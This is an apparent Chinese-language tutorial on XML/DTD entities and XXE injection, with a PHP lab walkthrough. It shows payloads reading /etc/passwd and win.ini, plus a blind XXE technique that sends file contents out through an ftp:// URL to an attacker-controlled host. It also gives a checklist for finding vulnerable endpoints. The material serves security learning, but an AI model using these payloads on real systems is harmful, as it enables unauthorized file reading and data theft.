1. 前置知识——XML 与 DTD
名词解释
XML:指可扩展标记语言(eXtensible Markup Language)。被设计用来传输和存储数据,形似HTML,但是与其不同的是HTML被设计用于展示数据
DTD:文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD可被内部引用,也可以被外部引用
举例
XML内部引入DTD,即将约束规则限定在xml文档中
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
外部的DTD引入:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "http://192.168.x.x/ext.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
DTD实体
实体是对特殊字符或普通文本的快捷引用
实体可在内部或外部进行声明
一般实体
一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
一般实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用
参数实体
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
内部实体
<!ENTITY 实体名称 "实体的值">
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
外部实体
外部实体用来引入外部资源。有SYSTEM 和 PUBLIC 两个关键字,表示实体来自本地计算机或者是公共计算机
<!ENTITY 实体名称 SYSTEM "URI/URL"> 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>
DTD实体的元素类型
-
PCDATA
PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&,<,或者>字符,需要用& < >
实体来分别替换 -
CDATA
意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。 -
ANY
带有任何内容的元素
外部实体的支持协议
根据不同语言的页面,外部实体支持的协议会有不同
具体如下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Md3l9onf-1634002278607)(/images/1/20/DTD实体协议.png)]
2. XXE注入
XXE(XML External Entity Injection) xml外部实体注入
该漏洞一般发生在xml文件解析处,加载xml时没有禁止外部实体或对xml文件进行检查的话,就可能造成XXE注入,可能造成任意文件读取、命令执行、内网端口扫描、内网网站被攻击、Dos攻击等危害
三种类型的XXE注入
- 基础的XXE注入 - 外部实体注入本地DTD
形如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<! ENTITY xxx SYSTEM "file:///etc/passwd">]>
<xxe><e1>&xxe;(此处就是注入的地方)</e1><e2>xxxxxxxx</e2></xxe>
即可以修改请求内容让服务端处理后展示的XXE注入,会返回/etc/passwd中的内容
- 基于盲注的XXE注入 - XML解析器在响应中不显示任何错误
原理: 就是建立一条带外信道提取数据,利用外部实体中的URL发出访问,与攻击者主机建立联系,从而达到数据的读取 - 基于错误的XXE注入 - 成功解析之后,XML解析器始终显示SAME响应。
(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中
简单实验分析
环境
xxe-lab(包含各种语言版本的XXE漏洞Demo)
xxer(提供外部实体服务)
PHPStudy-开启PHP+apache页面
步骤 & 逐步分析
-
靶机开启PHPStudy,此时会快速开启WAMP环境
-
进入D:\phpStudy\PHPTutorial\WWW(即PHPStudy存储路径),将xxe-lab中的php_xxe文件夹放入
-
此时,访问http://your-ip/php_xxe/index.html 可以看到一个登陆页面
-
输入登录信息,通过BurpSuite抓包可以看出,用户名和密码是通过xml进行传输的
-
尝试进行基础的XXE注入,Repeat发送如下数据包
发现注入的实体可被解析,我们获得了C:/windows/win.ini的文件内容 -
我们看看这个页面的源码
即我们的注入点为 username标签,将包含信息的实体注入后可解析返回内容 -
我们增加一点难度,改成无回显的,修改源码如下:
-
这时,我们无法得知xml是否被正确解析,因为不管是正常解析或是未被解析,都无法返回信息。
以下是无法解析xml的源码
返回结果
-
此时我们可以通过外部服务器,根据请求信息判断是否存在外部实体解析,如果存在外部实体解析,说明可能存在xxe注入
-
开启xxer
-
发送如下payload,查看xxer的结果
查看xxer的信息
解释:xxer看到请求的结果,即说明我们发送的实体被解析,而被解析的实体会访问xxer目录下的1.txt,所以xxer看到请求说明实体可被解析。 -
既然如此,我们可尝试blind_xxe进行盲注,看看是否可以成功,payload如下
可以看出,盲注成功,我们成功获取了win.ini的内容
解释:
1.由于外部实体可被解析,所以我们构造一个外部实体,让页面解析xml后访问该外部实体,ext.dtd文件内容如下
2.由于我们使用了参数实体的内部调用,页面解析实体的时候,首先会解析%xx,访问ext.dtd
3.其次解析%ccc,即解析出<!ENTITY % ddd SYSTEM ...>
这个实体
4.再次解析%ddd,这样解析出访问文件
ftp://fakeuser:file:///C:/windows/win.ini;@192.168.25.220/b
尝试连接ftp服务器失败,内容会从中返回
3. 总结与问答
Q:为什么要使用远程加载DTD实体?
A:为了控制注入的参数,或是盲注时判断页面是否可以解析外部实体
容易存在XXE的地方:
- 基于XML的RPC服务或基于SOAP的WebService
- 开发框架的对Content-Type只能识别导致的xxe
- 使用SAML的登录接口
- 解析DOCX文件
思路:
- POST一个XML请求,看出错或是正常解析
- 尝试是否可以外部实体引用
- 有些情况在POST中会看到一些XML文档元素,尝试对这些文档元素修改,查看其是否可控。如果可控可以尝试外部实体控制
- 针对无回显的情况(报错页面出现xml解析器,或者出现一些空白页面和报错出现绝对路径等)
- 向存在可控参数的地方注入一条像自己服务器发送请求的xml代码,查看服务器,如果请求成功说明可引入外部实体
- 或者使用参数实体请求
- 如果存在外部实体引入,那么很可能存在XXE注入,因为他是无回显的,所以通过blind xxe达到攻击效果
- blind xxe 返回的建立通道的方法有多种,如ftp报错返回等等